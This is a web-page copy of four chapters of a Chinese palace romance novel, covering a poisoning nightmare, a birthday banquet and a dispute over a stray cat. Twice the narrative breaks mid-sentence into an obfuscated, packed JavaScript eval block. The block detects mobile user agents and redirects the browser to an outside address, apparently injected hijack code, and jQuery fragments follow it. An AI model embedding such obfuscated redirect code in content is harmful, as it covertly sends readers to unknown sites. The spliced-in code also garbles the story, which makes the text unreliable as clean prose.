两人的说笑声渐渐行远,山洞里,谢怀琤慢慢走了出来,望着少女离去的背影,眼中的微光如天边最后一抹被吞没的余晖,最终消失得无影无踪。 许久,他伸出手,掌心处空落落的。 那道几乎已经看不见的伤疤处,却多了一抹淡淡的嫣红。 那是——她唇上胭脂留下的痕迹。 17. 惊梦 “窈窈,”晚间歇息时,谢瑶音欲言又止,“今日你去寻手帕时,可曾遇到过其他人?” 姜清窈心中一凛,不露声色地道:“为何忽然这么问?” 谢瑶音道:“我去找你时,在那假山不远处遇见了皇兄。他见了我很是惊讶,问我为何来此处。” “那......你如何说的?”姜清窈屏住了呼吸。 “我见皇兄面色有异,不似平日那般和颜悦色,便暗自留了个心眼,没有说出实情,”谢瑶音低声道,“我同他说,我散学后遇见一只猫儿,觉得有趣,便一路追了过来,不知不觉走到了此处,却再没发现它的踪迹。” “他听了我的话后,似乎松了口气,还告诉我说,方才他也见到了那只猫,想来等我走至此处时,它已跑了。只是皇兄虽然面上又有了笑意,但看起来依然心事重重,目光不停地扫视着周围,似乎在提防着什么,”谢瑶音微微皱眉,“不知皇兄遇到了何事,竟会如此。” 姜清窈轻轻舒了口气,一颗心落到了实处。她道:“我在假山时,并未遇见什么人。想来我去时,太子殿下应当已经离开了。” “那便好,”谢瑶音叹了口气,“我总觉得皇兄似乎瞒着我们在做什么事情。如今我们年岁渐长,我越发看不透他了。幼时,我们是亲密无间的兄妹,可如今,他首先是储君,而后才是我的兄长。” 姜清窈轻轻揽着她的肩膀,无声地安慰。 “罢了,”谢瑶音很快露出笑容,“不论如何,他永远都是那个待我极好的哥哥,这就足够了。” 今日演武场的桩桩件件事情实在令人疲惫,两人便各自洗漱,在寝殿歇下了。谢瑶音每晚还须练一页书法,因此见姜清窈困倦不已,便劝她先去歇息。 姜清窈也确实乏了,便没有硬撑,回了枕月堂后,便由微云服侍着躺下了。 微云吹熄了烛火,轻手轻脚退了出去。寝殿内一片昏暗,只隐约自殿外透进一点稀疏微弱的光。 不知是今日的经历颇有些惊心动魄,亦或是遇到了意想不到的人,姜清窈神思俱疲,很快便坠入了无边的沉睡之中。只是她睡得格外不安稳,又如那日一般,做起了诡谲纷乱的梦。 梦中亦是一片昏暗。空旷的殿内,四下阒然无声。她试着动了动,却发觉自己浑身虚弱,没有一丝一毫力气,只能躺在床榻之上。 安静将黑暗无限放大,在这无声无息的空气里,渐渐升腾起一股难言的恐惧感。姜清窈不安地睁大眼睛,却看不清殿内的任何陈设。 忽然,殿外骤然风声大作,狂风吹刮着殿宇,卷起殿外院内的枯枝乱叶,发出沙沙声。片刻后,一场急雨落下,猛烈地敲击着窗棂,寒意随之渗透进殿内的每个角落。 和雨声一同落下的,是逐渐接近的脚步声。有人缓缓推开了殿门,手中端着的烛台迸出明亮而刺目的光,一点点映亮了姜清窈所处的床榻。 她轻微瑟缩着,努力睁大眼睛想看清来者是谁。可那烛火再明亮,却依然令人看不清眼前人的面目。那人开口,声音也缥缈得如同从遥远之地传来一样,听不清楚。 姜清窈的意识仿佛被人攫取一般迷乱不堪,眼前笼上一层又一层浓雾。她拼命挣扎着,却无济于事。 待浓雾散去,她一低头,却发现一只手扼住了自己的咽喉,另一只手则将一杯琥珀色的酒凑到了唇边。 鬼魅般的声音响起:“如今新朝已立,你也不必再活于世上了。” “便随姜家亲族一道,归入尘土吧。”那声音愈发阴森,如同伸出爪牙的猛兽,姜清窈惊愕万分,拼命挣扎推拒,却只能眼睁睁瞧着那杯酒流入自己的喉咙。 那人冷笑几声,很快离开,殿内重归平静。意识渐渐模糊,耳边的喧嚣声如潮水般褪去,她如同溺水一般呼吸困难,整个人气息奄奄。即使在梦中,姜清窈却还是能清晰地感受到那种濒死之感。 她伸手缓缓抚上面颊,一低头却看见指尖沾满了血。姜清窈一愣,随即意识到,那是自己饮下毒酒后吐出的毒血。她感受到周身的血液似乎都在缓缓流逝,身体发冷,再也捱不住,缓缓阖上了眼睛。 不知过了多久,殿门忽然被人猛地推开,刀剑相碰撞的清脆声盖过了密密雨声,夹杂着几人的惊呼,不过瞬息便静了下去。急促的脚步声由远及近奔向她,姜清窈感觉到一片温暖缓缓把自己包裹住,有人颤抖着手,捧起了她的脸。 他的身上带着瑟瑟寒气,可掌心却是热的,拼命暖着她的脸颊,似乎想要让她冰冷的身体回暖。倏而,滚烫的泪一滴滴落在她眼角,流过她的面颊。他抬手,一点点拭去她唇角的血迹,随即将她整个人用力地拥进怀里。 他的怀抱炙热,姜清窈情不自禁地紧紧依偎进去,想要留住那点难得的暖意。 “窈窈,对不起,”他声音发颤,“我来晚了。” 这声音让姜清窈心头大震,即使在梦中,她也认出了,说话之人正是谢怀琤。可他为何会说这些话,又为何对自己的死如此痛彻心扉? 她张口欲问,意识却渐渐剥落,耳边只听见他一字一句道:“你放心,我会为你报仇。那些伤害你的人,我会一一手刃。”声音变得阴郁,藏着彻骨恨意。 一语终了,姜清窈看见谢怀琤的神情蓦地柔和了下来,他缓缓弯腰,在她已然冰冷苍白的唇上印下一个轻柔的吻。谢怀琤的唇温度滚烫,唇齿相依之间,姜清窈似乎尝到了泪水的酸涩。 许久,谢怀琤缓缓直起身。唇瓣沾染了她唇角的血,他却毫不在意,而是露出一个凄冷的笑:“窈窈,待我做完那些事,便会去陪你。你等一等我,好不好?” “谢怀琤!”姜清窈惊叫一声,一身冷汗,从梦中醒转。 她霍然从床榻之上坐起,一颗心仿佛要跳出来,隆隆心跳声在这寂静的深夜显得格外清晰。许久,姜清窈睁开眼,眼前是黑漆漆的内殿,虽看不清陈设,但熟悉的气息让她意识到方才可怖的一切皆是梦。 “姑娘,怎么了?”微弱的烛火由远及近,微云捧着烛台,一脸担忧地走了过来,“又做噩梦了吗?” 姜清窈抬手摸了摸唇角,确认那里没有血迹。只是那被灌下毒酒的感受太过真切,以至于她有种劫后余生的庆幸。 “微云,”她开口,声音颤抖,“我方才梦见自己被囚禁在一座宫殿内,还被迫饮了毒酒,没了性命。” “怎么会如 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“姑娘安心睡吧,奴婢在这里守着。”微云扶着她躺下,为她掖好被角。 姜清窈闭上眼,脑海中却忍不住浮现出方才梦境中的一切。那个下毒之人的声音辨不真切,是男是女也不知。梦中唯一真切的,竟是谢怀琤。 只是......他怎会那般亲密地对待自己?这梦中的一切,究竟有何种前因后果? 然而直到天明,姜清窈再也不曾回到那个梦之中。晨起时,皇后瞧她神色恍惚,眼下有浅浅的青色,问道:“窈窈,昨夜不曾睡好吗?” 姜清窈回神,勉强笑道:“做了个怪梦,因而睡得不安稳。” 一旁的谢瑶音凑近瞧了瞧她的面色,抬手抚了抚她的眉眼道:“梦中一切都是虚妄的,我从来不信。窈窈,你也不必挂怀。” 姜清窈不愿让她们担心,便笑道:“我明白。” 正说着话,宫女很快摆好了早膳,三人刚刚坐下,便听见外间通传声,说太子到了。 皇后放下筷子:“衍儿今日怎么来得这样早?” 门帘掀起,谢怀衍一身锦袍,迈步进来。他面上还是一贯的从容温和,只是那步伐却似乎不似平日那般四平八稳。 姜清窈屈膝向他请安,但思绪却显然不在眼前,而是怔怔地想着昨夜的那个梦,自然也没有察觉到太子今日看向她的目光与平日的客套疏离不同,更多了几分探究。 待几人依次落座,姜清窈沉默地喝着碗中的粥,耳边听着皇后与那两人有一搭没一搭地讲着家常话,提及数日后便是三皇子的生辰,届时会按照宫中规制,为他设下宫宴,大家热闹宴饮一番。一切都和往常无异,直到太子很自然地把话题引到了她身上。 “说起生辰之事,我忽然想起,表妹入宫许久,我竟还不知你的生辰,”谢怀衍笑意温润,“你如今既长住宫中,想来往后生辰也会在宫中度过。” 谢瑶音闻言附和道:“窈窈,你不是五月初七的生辰吗?待那时,让母后好好为你张罗一番吧。” 谢怀衍眉眼微微一凝,笑道:“原来如此。” 18. 宴席 姜清窈一时不知该说些什么,只能笑了笑道:“多谢太子殿下挂念。” 谢怀衍抬手,笑容令人如沐春风:“表妹不必同我客气。”他语气温婉,然而姜清窈一个晃神,忆起那日假山后听见的他那沉郁的声音,与今日判若两人。 待用完早膳,谢怀衍说自己要回东宫,正好与她们顺路,便一道去萤雪殿。一路上,谢瑶音不停地同兄长诉说着这些日子上学的事情,姜清窈默然不语,只安静地跟在一旁。 眼看着萤雪殿的匾额出现在了眼前,谢怀衍停住步子,道:“你们快些去上学吧,别误了时辰。” 谢瑶音点头:“好。” 两人向谢怀衍见了礼,这才转身进了萤雪殿。她们今日来得早,风荷堂里空无一人。姜清窈在书案后坐下,翻开了昨日课上讲解的文章开始温习,不多时便听见有几人交叠的脚步声逐渐靠近。 谢如婉与傅宝吟并肩走进,正笑着说着什么,显然心情都不错。尤其是傅宝吟,粉面微红,眼瞳似水,唇角是怎么也按捺不下的娇羞笑意。 谢瑶音靠近,压低声音道:“窈窈,你猜她为何这般神态?” 姜清窈摇头。 “她定是在殿外遇到了皇兄,才会作如此羞涩之态,”谢瑶音撇撇嘴,“也不知皇兄对她有没有印象。” “你似乎很不喜她?”姜清窈亦低声问道。 谢瑶音道:“我晓得她才貌双全,性情温婉,但那日宫外祈福,我无意间瞧见她的两副面孔,更觉此人不值得相交。” 姜清窈好奇心起,正想问问是怎样的面孔,然而夫子已然走进殿内,她只好止住话头,专心听起课来。 宫壶滴尽莲花漏,待此课终了,夫子退出内殿,宫女随之入内送上点心和茶水。 姜清窈抿了口茶,抬眼便见谢如婉与傅宝吟正低声说着什么,她们身后的闻萱宜正凝神看着书,眉头有些不耐烦地皱着,似乎觉得这动静太过聒噪。 另一边,谢瑶音懒洋洋地倚在身后的软枕上,伸手拈起一块牛乳糕细细咀嚼着,偶一转头,便见谢凝玉正愣愣地出着神,目光恰好落向桌案上那盘甜香扑鼻的糕点。 谢瑶音用帕子拭去唇角的糕点屑,微一思索,便利落地把那盘糕点递了过去:“四妹妹这般喜欢牛乳糕?我今日不甚饿,只略吃了一块。你若喜欢,余下的便送你吧。” 谢凝玉本自神游,不防忽然有人同自己说话,身子轻微一震,眼神渐渐聚焦。她愕然看向谢瑶音,印象里这位身份尊贵的二姐姐与自己并不算亲近,素日相见也不过是拘在礼数和规矩下随意寒暄几句,从不曾交心。 况且在谢如婉口中,这位嫡公主时常自恃身份欺压她们,张扬跋扈,喜怒无常。她也曾目睹谢瑶音惩处下人,毫不留情,而此刻,谢瑶音却眉眼弯弯地笑着,还大方地将点心分给了自己,俨然是一位体贴入微的好姐姐。 谢凝玉有些恍惚,一时间忘了说话。谢瑶音心想这四妹妹怎么如此心不在焉,索性起身,亲自将盛着点心的盘子搁在了她面前。 “多谢......多谢二姐姐。”谢凝玉慌忙起身,低声道。 “不必同我客气。”谢瑶音摆摆手很快回了书案后,与姜清窈说起了话。谢凝玉望着她的背影,拿起一块点心放入口中,被那甜腻的味道激得眉头微蹙。 其实她并不爱吃甜食,只是不知如何拒绝二姐姐的好意,只能收下。她生怕被谢瑶音看出,便强忍着喉头的腻味,将那余下的点心一口口咽了下去,末了狠狠灌下一盏茶,才勉强纾解。 到了散学的时辰,几人先后走出风荷堂,恰好看看翠微堂的人也恰好走出来。当先一人是笑意吟吟的三皇子,他冲着她们招了招手,道:“几位妹妹都在,正好。” 他身后跟着的内侍恭恭敬敬捧出一只匣子,里面装着一张张请帖,依次奉与众人。三皇子含笑道:“十一月十八是在下生辰,按宫中规矩,将在观雨轩设宴,还望诸位妹妹光临。” 谢瑶音在姜清窈耳边低声道:“观雨轩便是三皇兄所居寝宫。” 姜清窈接过那帖子,但见上面红底黑字,字迹飘逸潇洒,便如三皇子本人一般无拘无束。久闻三皇子喜好诗书,文采飞扬,果然不假。帖子上洋洋洒洒题诗一首,妙语连珠,字字精妙。她看罢,不觉轻轻一笑。 谢瑶音率先开口,笑眯眯地道:“即便皇兄不下帖子,我也必要去叨扰一番,向皇兄讨杯酒吃。” 三皇子爽朗一笑:“好说。” 待人潮散去,谢瑶音与姜清窈并肩离开。路上,谢瑶音道:“三皇兄一向疏朗,喜欢热闹,每年生辰都会请诸位兄弟姐妹聚在一处。” 姜清窈摩挲着手中的帖子:“那我须得为三殿下备一份礼了。” “三皇兄是风雅之人,从不喜爱那些金银财宝的,窈窈你即便是写一张字送给他,他也会如获至宝的,”谢瑶音道,“他所住的观雨轩,便是他自己改的名,题的匾。” 姜清窈问道:“我记得本朝皇子一般十三四岁便会搬出生母的宫殿,单独住在宫中某处,是吗?” 谢瑶音点头:“是。只是父皇膝下皇子不多,除皇长兄外,便只有三皇兄、五皇兄和六弟。三皇兄年长,他母妃在他十二岁那年病故了,因此他便早早搬了出去。六弟年纪小,因此他依然住在贵妃宫中。至于五皇兄......” 她没有说下去,但姜清窈却明白了弦外之音。想来秋妃离世后,皇帝对谢怀琤不闻不问,因此便任由他住在长信宫,并不打算另行为他安排宫殿。 但对谢怀琤来说,或许住在长信宫还能够让他长久地怀念着母妃,于他而言,也是一种安慰吧。 姜清窈收回思绪,沉默地回了永安宫。 * 数日后,便是三皇子的生辰。姜清窈心想他既然喜好诗书,又写得一手好字,便准备了一本时遐老先生手稿的拓印本,名叫《折柳亭记》。 这日出门时,天空飘起了雨。冬日的雨格外生冷,姜清窈裹紧了斗篷,怀抱着手炉,与谢瑶音一起赶去了观雨轩。 她们来时,正殿东西暖阁分别设下了宴。两人举步进了西边暖阁时,发觉已经有人到了。 少女正执着茶盏出神,听见动静,她缓缓转头,那双眼睛让姜清窈想起漆黑夜空中的银白弯月,清冷恬淡。 “荣安县主。”她微微屈膝。 闻萱宜颔首,淡淡笑了笑:“姜妹妹客气。” 彼此寒暄后,便没了话,三人各自坐下。姜清窈打量着眼前的茶盏,触手光滑温润,瓷质细腻,表面勾勒着青碧色的花纹,简单而又雅致,很符合三皇子的脾性和气质。 她端起茶盏,浅浅抿了一口。 “这会子,三皇兄应当去给父皇和母后磕头请安了,”谢瑶音道,“凡皇子生辰皆是如此。等他回来,宴席方能开始。” 不多时,谢如婉和傅宝吟也一前一后来了。两人来了后,便笑盈盈地说了不少话。出于礼节,姜清窈亦接了几句话。唯独闻萱宜自始至终都不曾开口,只是神情淡淡地盯着眼前冒着热气的茶盏。 锦帘一掀,三皇子擎着酒盏迈步进来,笑道:“今日承蒙诸位妹妹赏脸,愿意赴我这生辰宴,在此敬你们一杯。” 谢瑶音环顾四周,低声道:“怎么不见四妹妹?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13556169|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜清窈亦低声道:“许是雨天难行,路上耽搁了。” 两人话音刚落,便听见殿外传来匆忙的脚步声,谢凝玉略显焦急地掀帘走进,呼吸急促,满是无措:“三皇兄,我来晚了。” 她鬓发与眉眼皆染上了一层湿漉漉的水雾,纤长的眼睫上坠着水珠,整个人还有些轻微战栗。三皇子愣了愣,忙道:“四妹妹这是淋了雨?快进来。” 谢凝玉轻声道:“我走时不曾带伞,待落雨时又已走了大半,便只好冒着雨走来,只是雨后不好走,因而耽搁了。”说话间,她小心地从谢如婉身畔走过,在谢瑶音左手边坐下。 三皇子关切道:“四妹妹当心寒气侵体,怎么不打发宫人去取一把伞回来?” 谢凝玉道:“雨不算大,我便想着尽快来,免得耽搁了时辰,只是似乎还是晚了些。”说到这里,她声音渐低,有些窘迫。 三皇子毫不介意,而是笑着道:“你我既是兄妹,何须顾忌这些小节?”他说着,继续举杯邀几人共饮。他知晓姑娘家不胜酒力,因此为她们准备的是不会醉人的果酿,滋味清甜。谢瑶音饮下半杯,侧目见谢凝玉的模样,轻轻皱了皱眉,从袖中取出一方干净的帕子递了过去。 谢凝玉似乎没想到她会这般,一时间愣住,许久才在谢瑶音示意的目光里,慢慢接过了手帕,擦拭着面颊和手背上的湿意。 另一边坐着的是谢如婉,曾经她全心全意跟随着的三姐姐,对她方才的狼狈视若无睹,毫无反应。反倒是一向不亲密的二姐姐,即使一语未发,却依然递给了自己手帕。 谢凝玉低头,轻轻叹了口气。正巧此时,众人开始依次向三皇子敬酒,她借机举起酒盏,长袖拂过,挡住眼底的酸涩。 酒过三巡,三皇子便告辞离开去了东暖阁,余下的姑娘们便自在了许多,热热闹闹地吃着酒菜。 姜清窈觉得那酒酿滋味很是可口,没忍住多饮了几盏,待再度放下杯盏时,只觉得双颊发热,竟不知是被这殿内的炭火熏烤的,还是染了酒意。她瞥了眼身边,谢瑶音正专心致志尝着一样点心,便扶着桌案起身,道:“阿瑶,我出去透透气。” 谢瑶音点点头。 姜清窈掀帘出来,顿时觉得一阵凉意席卷上眉宇间。她深深地吐出一口气,沿着正殿的回廊走着。回廊尽头有一道月洞门,门后的土地上,早年间三皇子派人开凿了一方池子,遍植了芙蕖,每逢夏日便是“接天莲叶无穷碧、映日荷花别样红”的景致。然而如今天寒地冻,水池中一片衰飒。 月洞门畔侍立着观雨轩的内侍,见姜清窈似有醉意,便躬身道:“姑娘若是醉了,不如去那边花厅处坐坐,奴婢去为您准备茶水。” 姜清窈抬眼看过去,果然见池畔有一处花厅,门前悬着竹帘,此刻空无一人。她颔首,便举步穿过月洞门,绕开了那方水面,缓缓走到了花厅之中坐下,这才觉得醺醺然的头脑清醒了不少。 内侍很快奉了茶水,姜清窈润了润干涩的喉咙,慢慢闭上眼,伸手揉了揉额角。 此时花厅外依然飘着细雨,淅沥的雨声让整座花厅如被笼罩在水雾之中,显得格外寂静。许久,姜清窈睁开眼睛,正欲起身离开,一抬头却见影影绰绰的帘子外不知何时多了一道身影。他背对着自己,沉默地站在花厅外的廊檐下。 姜清窈平复了一下气息,起身走了过去,抬手欲掀帘子。 那人似有所觉,身形微微一滞,缓缓转头。竹帘被风吹拂,荡悠悠地飘动了些许,将厅内厅外隔绝成一明一暗两方天地。 那双带着湿意和凉意的眼睛,静静望了过来。隔着那道帘子,两人的目光缓缓相接。 19. 冲撞 皇帝为贺万寿,特旨召姜家两位将军回京的消息很快在宫内外传开,一时间,几乎无人不艳羡于姜家所受的浩荡皇恩和在朝中举重若轻的地位,也有人暗暗猜测,皇帝会不会对姜家还有额外的封赏。 对于这些议论,皇后与姜清窈只作不觉,依然每日安心待在永安宫,并不曾与从前有任何分别。 “算起来,兄长他们再有四五日便该到京城了,”皇后笑意盈盈,“正好,他们一路辛苦,可以先回府上休整几日,再一道入宫向陛下贺寿。” 姜清窈点头:“姑母说的是,父亲和哥哥一路跋涉,待歇息后再面圣,也更加合礼数。” “也不知此次他们能在京城待多久,”皇后长长地叹了口气,“很快便是年节了,若是能留下过完年,那便是极好的。” 这些年北境慑于姜家的威力,再不敢轻举妄动。姜清窈想着,若是陛下能够看在姜家多年来循规蹈矩、尽心尽力的份上,准父兄多待些时日,便一切圆满了。 只是这念头不过在心头转了一遭,很快便被她按了下去。帝王心最是难测,这么多年,陛下都不曾下过此般旨意,想来今年也不会例外。 罢了,即使父兄只能待一段时日,她也满足了。 “母后,我今日的书法课业被葛夫子夸赞了,”谢瑶音自殿外走进,献宝似的捧着一张字,递到了皇后面前,“母后瞧瞧?” 皇后接过,细细看了,笑道:“较之从前,确实大有进益。” “多亏了窈窈日日陪我苦练,指点我,否则我也不会这么快开窍。”谢瑶音笑眯眯地挽着姜清窈的手臂摇了摇。 姜清窈笑着看她:“是阿瑶聪慧过人,可不是我的功劳。” “如今萤雪殿风荷堂有你们六人作伴,素日相处可还融洽?”皇后问道。 谢瑶音撇了撇嘴,道:“旁人我自然是不知的,我只和窈窈在一处。至于三妹妹,她与那位傅姑娘好得如同一人,四妹妹与闻姐姐各自独来独往,甚少说话。” “从前,凝玉同如婉很是要好,怎么如今冷落了?”皇后奇道。 “其中原因只有三妹妹自己清楚,或许她从未真心待过四妹妹吧。”谢瑶音道。 “都是姐妹,哪里有什么真不真心的话?”皇后轻斥,“如婉这孩子不至于如此。贵妃与怡嫔亦是交好,两个孩子自小一处长大,情分作不了假。” 谢瑶音忿忿道:“当年怡嫔分明是和秋妃娘娘先后入宫,又住在一处,却在秋妃娘娘亡故后迫不及待转投了贵妃,小意逢迎——” “阿瑶!”皇后登时寒了面色,“住口!” 她面上如罩寒霜,厉声道:“你身为公主,怎能如此搬弄口舌是非,肆意议论旁人?” 谢瑶音抿嘴,不甘心地道:“我只是替四妹妹不值罢了,从前若不是怡嫔喝令她日日跟着三妹妹,她也不会勉强自己。如今,我瞧四妹妹比从前更轻松自在,焉知当初她与三妹妹是不是真的要好。” 皇后重重地在炕桌上拍了一记,道:“还多嘴?从前本宫都是如何教你的,你又是如何跟着夫子学的,竟学成如此模样。后宫嫔妃们如何,还由不得你轻易置喙。若这话传扬出去,连陛下也不会宽恕你!” 她恼怒不已,气息都有些乱。谢瑶音慌忙道:“母后息怒。” “我只是一时信口开河,往后再不会如此了,”谢瑶音贴着皇后的裙角跪下,“母后莫要生气了。” 姜清窈见状,轻声道:“姑母,阿瑶一时失言,还请您莫怪。” 皇后缓和了一下呼吸,才道:“往后,你万万不能将这般言语轻易泄露于口,否则会招致无尽祸患,明白吗?” 谢瑶音小声道:“我记住了。” 姜清窈忙换了个话题,将此事翻过页去。皇后便顺着她的话说了下去,只是面上依然有些愠色。谢瑶音眉眼低垂,怏怏不乐地在一旁坐着。 直到这日晚间,两人回了寝殿,姜清窈才低声道:“今日,你为何会在姑母面前说那番话?我甚少看见姑母那般恼怒的样子。” 谢瑶音叹了口气:“许是一时情急了,忘了忌讳,便脱口而出了。但无论如何,我说的都是实情。窈窈,你久不在宫中,自然不知其中内情。怡嫔从前与秋妃交好,秋妃待她一向亲厚,两人情如姐妹。便是秋妃失宠后,她还曾不惧流言向父皇求情过。可秋妃娘娘故去后没多久,她竟好似忘却了从前的种种,竟跟在贵妃身后蓄意逢迎起来。” 姜清窈沉默片刻道:“那些往事或许另有玄机,况且怡嫔毕竟是陛下的妃嫔,论起来也是长辈,这般议论许是不妥。” “我只是......觉得她丝毫不顾念当初与秋妃娘娘的情分,这样的人品实在令人心寒——”谢瑶音深吸一口气,止住了话头,“罢了,我再说这些也没有意义,不过是徒增烦恼而已。” 两人言尽于此,便各自去梳洗安寝。烛火熄灭,姜清窈躺在床榻之上,却依然忍不住回想起白日的那番话。 往事仿佛笼上了一层又一层迷雾,她不知如何才能窥见其中真相。 长夜漫漫,她静静叹了口气,闭目睡去。 第二日是课假,用罢早膳后,谢瑶音道:“窈窈,今日长姐偕驸马入宫向父皇请安,按照从前的规矩,她会在从前的寝宫住一晚。我们去拜见一下吧。” “长宁姐姐?”姜清窈想起从前,微微一笑道,“许久不曾见她了。” 大公主谢长宁出嫁已五年,驸马林昼是个清俊温和的文人,如今在翰林院当差,两人情意甚笃。公主出嫁后,入宫多有不便,但谢长宁一向孝顺,每逢月中月末,都会按例进宫请安。 她是皇子公主中最年长的,对弟妹们一向宽厚,因此每次入宫时,即便是眼高于顶的六皇子都会前来问安。 这几日天朗气清,日光繁盛,晒得人周身暖融融的。姜清窈换了身浅碧色的衣裙,迎着明媚晨光,与谢瑶音一道沿着宫道往谢长宁的寝宫去了。 谢长宁出嫁前一直住在她母妃昔日的寝宫——广阳宫。姜清窈随着谢瑶音走着,渐渐觉得眼前的景物有些熟悉。直到看见广阳宫旁的殿宇时,才恍然大悟。 她站在宫门外,微微讶异:“广阳宫旁便是长信宫?” 谢瑶音点头:“正是。”她偏头朝着长信宫里瞧了一眼,影壁后一片沉寂,仿佛无人居住于此一般。而相隔甚近的广阳宫里,已然飘出了笑语之声。她顿了顿道:“五皇兄一向不会出现在这样热闹的场合,想来也不会来见长姐。窈窈,我们进去吧。” 两人迈过宫门,一路进了殿内,果然见已经有几人到了,正在与谢长宁说着什么。姜清窈定睛一看,上首坐着一个眉眼含笑的女子,约莫二十来岁年纪,姿容端庄,观之可亲。她心头一热,唤道:“长宁姐姐。” “窈窈?”谢长宁久未见她,一时间有些愣怔,片刻后才起身快步走了过来,携着她的手细细打量了一番,“上回生辰时,你托人送了礼,人却未至,原来是奉旨入宫来了。” 姜清窈笑道:“幸而今日长宁姐姐入宫,令我得以见你,否则我还得去公主府上赔礼呢。” 谢长宁莞尔:“怎么同我这般客气?” 一旁的谢瑶音道:“长姐,窈窈入宫后没多久便不小心扭伤了脚,养了好些日子才能下地行走,否则也不会等到今日才能见你。” 谢长宁讶异道:“怎么这般不当心?” 姜清窈轻描淡写道:“那日去韶园为姑母折梅花,没留神雪地里的石头便踏了上去,因此才伤着了,如今已无大碍,长宁姐姐不必担心。” 说到此处,她忽然想起那日在韶园时,分明是听见了有人抛掷了石子过来,恰好落在脚边,自己才会正好踩上去。姜清窈轻蹙眉,却不知是何人所为。 正自出神时,宫人掀开帘子,谢如婉与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13567174|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六皇子并肩走了进来。六皇子满脸心不在焉,敷衍着朝谢长宁见了礼,在谢如婉身畔坐下,却一直坐立难安。 谢长宁看向他,发觉他始终盯着殿外,心中猜到了七八分,便道:“六弟若是想在院子里玩,尽管去便是,不必拘在此处。”此话一出,六皇子如逢大赦,很快起身往殿外跑去。不多时,几人便听见他喝令内侍陪自己玩闹的声音。 谢如婉瞥了眼飞奔出去的六皇子,面上浮起恨铁不成钢的神情。对于这个不成器的胞弟,她实在是头痛,却无计可施。 “看着几位妹妹的模样,倒让我想起从前在宫中的时候了,”谢长宁脸上带着淡淡的温和笑意,语气不自觉带上了几分怀念,“那时候每日读书习字,抚琴作画,也十分有意趣。” 谢瑶音道:“长姐,如今你每个月都可入宫来,不如下次去萤雪殿走走吧。如今,风荷堂热闹得紧。” 几人又说了几句话,却听见殿外院中传来六皇子的呵斥声,谢瑶音皱眉道:“六弟这又是怎么了?长姐,我出去瞧瞧。” 谢长宁笑看着她:“阿瑶如今越发有姐姐的模样了。”说着,她也起身往外走去。 姜清窈跟在后面,刚迈出殿门,便听见谢瑶音的声音:“谢怀颂,你又在惹是生非!” 她正欲看看六皇子到底在做什么,忽然听见身畔的谢如婉惊呼一声:“哪来的野猫?”话音刚落,一团毛茸茸的温热的东西贴上了姜清窈的裙角,她一低头,便看见那只熟悉的灰猫正有些慌乱地窜来窜去,像是受了惊吓。 姜清窈想弯腰去拦住它,然而灰猫似是被惊到了,慌不择路地往回跑去,恰好撞在了谢如婉脚边。 谢如婉嫌恶地皱起眉:“广阳宫里哪来的猫?这般乱闯,脏了我的衣裳。”说罢,她犹嫌不足,提起裙角便要一脚踢过去。 “等等!”姜清窈忙上前抱起了那只猫,“三公主稍待,我把它抱走便是。” 她的动作极快,谢如婉惊讶之下连忙收脚,只是依然有一股力道落在了姜清窈手臂处,对方却恍若未觉,只温柔地安抚着那只猫。而猫儿在她面前也变得乖顺起来,任由她抱了起来。 “姜姐姐,难道这是你......养的猫?”谢如婉的语气是掩不住的轻蔑,大约是觉得养一只这样灰扑扑不起眼的野猫实在是跌了身份。 姜清窈听出了她语气里的鄙夷,淡淡道:“我不过是不忍看它被踢伤罢了。” 另一边,谢瑶音正在教训六皇子:“谢怀颂,你为何要用石子扔那只猫?” 六皇子满不在乎地道:“不过是一只野猫,难道我还不能拿它来取乐吗?” 他又道:“我见过这只猫!那日在韶园,它也是这般胡乱冲撞了我,我气不过便拿石子扔了它,结果还是被它跑了。” 韶园,石子,猫......姜清窈心头霍然明朗,原来那日害自己扭伤的石头便是来自六皇子之手。一时间,她心中漫起一丝恼意,沉沉地压了压呼吸。 谢如婉开口道:“二姐姐,不过是一只无主的野猫罢了,方才还冲撞了我,可知它一向如此。倘若来日,它冲撞了父皇或是母后,又该如何?” 她看了眼沉默不语的姜清窈,说道:“依我看,这样作孽的畜生便该打死,免得日后再生事端。” “不可!”姜清窈出声道,“宫中自有专门豢养动物的宫人,交给他们好生照顾便是,为何要取它性命?” 谢如婉笑道:“姜姐姐不知道吗?宫中养着的那些猫儿狗儿都是品相纯正、血脉贵重的,这种野猫怎可与它们相提并论?” “长宁姐姐,”姜清窈看向眼下最年长的谢长宁,语气里带着恳求,“猫儿无辜,何必要它的命?” 谢长宁尚未开口,忽然自宫门处传来一个冷冷淡淡的声音:“皇长姐,这只猫是我养的。” 少年迈步进来,那双眸子如浸寒冰,看向了六皇子。 20. 回京 姜清窈愕然看向他。 这竟是他养的猫?她脑海中陡然出现那日在假山之中的情形,这才明白谢怀琤为何会出现在哪里,想来是去寻猫的。 那么那日在韶园外,福满之所以出现在那附近,应该也是去寻找这淘气乱跑的猫的。 姜清窈一时间有些出神。原来先前自己遇到的那么多事,桩桩件件明里暗里都与谢怀琤有关。 她站在原地,裙角被风拂过,扬起轻缓的幅度。那一点细微的摇曳落入不远处的谢怀琤眼中,他看向怀抱着猫的少女,她丝毫不在意猫身上的脏污,紧紧把它揽在身前,温柔地安抚着它。有一缕乌黑的碎发垂在她白玉般的面颊一侧,她轻轻扬了扬头,抬眼恰好往自己这边看了过来。 